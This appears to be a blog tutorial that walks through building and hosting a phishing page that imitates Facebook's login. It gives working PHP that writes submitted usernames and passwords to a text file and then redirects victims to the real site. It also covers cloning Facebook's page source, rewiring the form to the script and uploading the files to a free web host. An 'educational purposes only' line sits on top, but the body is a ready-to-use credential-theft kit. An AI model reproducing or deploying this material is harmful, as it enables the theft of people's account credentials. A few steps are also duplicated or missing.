(Use for educational purposes only)
( Phishing is an attempt to acquire sensitive information such as user name , password and credit card ( and , sometimes , indirectly , money ) masquerading as a trustworthy entity in an electronic communication )What is phishing and how? Phishing is the process of directing users to enter details at a fake website that look and feel like the original website .
Basically all you're doing is getting your goal to access your fake login page and you will be sent your email and your Facebook password .
If you want to know more about phishing attacks then you should read this article from our sister site What Is Phishing Scams Or Attacks And How to Prevent It.
STEP 1 : Create the Phishing.php file :
copy the following script and save it as phishing.php .
:<?php
header("Location: https://www.facebook.com/login.php");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Step 2 : Create index.html page
Step 2 : Create index.html page
1. Open the Facebook login page then, Right click>View page source and paste it in notepad and save it a
index.html
2. Open that index.html file with a Notepad and search (By pressing Ctrl+F) for : action in it and replace the highlighted part (as in the following screenshot) with phishing.php
3. search (By pressing Ctrl+F) for : method in it and replace the highlighted part (post) with get .
4. save index.html
STEP 3 : Now create a text file named passwords.txt completely blank .
Now you have all the following three files with you :
1. phishing.php
2. index.html
3. passwords.txt
STEP 4 : Now You Need To Make a Website.
2. Now Goto your email account that you gave and confirm your account with confirmation link.
(Note the cpanel username that you got when verified with your activation link)
3. Now Go to http://panel.byethost.com and Log into your account Cpanel . Enter your cpanel username and password and login
4. Now when you are logged into your account then Go to File Manager under Files and log into it.

5. Now Click on the Public_html.

6 .Click on the Upload button and upload 3 files named phishing.php, index.html and passwords.txt
(before uploading files you need to delete all the files inside the Public_html folder)
7. After successfully uploaded 3 files click on index.html file, then your fake phishing page will open up.




Post a Comment